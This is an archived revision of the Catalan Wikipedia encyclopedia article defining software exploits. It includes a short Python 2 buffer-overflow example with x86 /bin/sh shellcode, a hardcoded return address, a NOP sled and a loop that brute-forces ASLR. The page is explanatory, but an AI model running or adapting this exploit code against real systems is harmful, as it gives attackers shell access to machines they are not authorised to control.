Vés al contingut

Exploit

De la Viquipèdia, l'enciclopèdia lliure
Aquesta és una versió anterior d'aquesta pàgina, de data 21:46, 13 feb 2025 amb l'última edició de EVA3.0 (bot) (discussió | contribucions). Pot tenir inexactituds o contingut no apropiat no present en la versió actual.
(dif.) ←la pròxima versió més antiga | vegeu la versió actual (dif.) | Versió més nova → (dif.)

Exploit o explotador[1] (de l'anglès to exploit, explotar o aprofitar) és una peça de programari, un fragment de dades o una seqüència d'ordres per tal d'automatitzar l'aprofitament d'un error, fallada o vulnerabilitat, causar un comportament no desitjat o imprevist en els programes informàtics, maquinari, o component electrònic (en general computat). Sovint, això inclou coses com ara la violenta presa de control d'un sistema de còmput o permetre l'escalada de privilegis o un atac de denegació de servei.

L'objectiu de l'exploit pot ser violar les mesures de seguretat per accedir-hi de forma no autoritzada i emprar en benefici propi o com a origen d'altres atacs a tercers.

Els exploits poden ser escrits emprant una diversitat de llenguatges de programació, tot i que majoritàriament se sol utilitzar llenguatge C. També pot aprofitar-se de diferents tipus d'atacs com ara desbordament de memòria intermèdia, Cross Site Scripting, Format Strings, Injecció SQL, entre d'altres.

Un exemple d'un exploit, que s'aprofita d'un desbordament de memòria intermèdia escrit en llenguatge Python seria:

#!/usr/bin/env python
import os
import sys
import time

class Exploit:

 def __init__(self):
 if len(sys.argv) <> 2:
 print "\n[*] Usage: python exploit.py /path/binary\n"
 exit() 
 else:
 self.arg2=sys.argv[1]
 # Command=/bin/sh Size=24 bytes Bind=No 
 self.shellcode = ("\x99\x31\xc0\x52\x68\x6e\x2f\x73"
 "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
 "\x52\x53\x89\xe1\xb0\x0b\xcd\x80") 

 self.payload = '\x41'*1036 # Padding 0x41 (A) 
 self.payload += '\x70\x9b\x80\xbf' # Magic Address -> 0xbf809b70
 self.payload += '\x90'*10000 # 0x90 (NOP) x 10000
 # The ASLR begin at the memory address 0xbf80010#i1

 def loop(self):
 print "\n[+] Starting Explotation...\n"
 time.sleep(2)

 while True:
 os.system(self.arg2 + ' ' + self.payload + self.shellcode)

"""Start execution"""
if __name__ == '__main__':
 union=Exploit() 
 conector=union.loop()
exit()

Una de les eines més utilitzades per treballar amb aquest tipus de programari és Metasploit Framework, una plataforma de test de penetració escrita en llenguatge de programació Ruby, com així també altres frameworks com Core Impact, Canvas, entre d'altres.

Vegeu també

[modifica]

Referències

[modifica]
  1. «Exploit». Cercaterm. TERMCAT, Centre de Terminologia.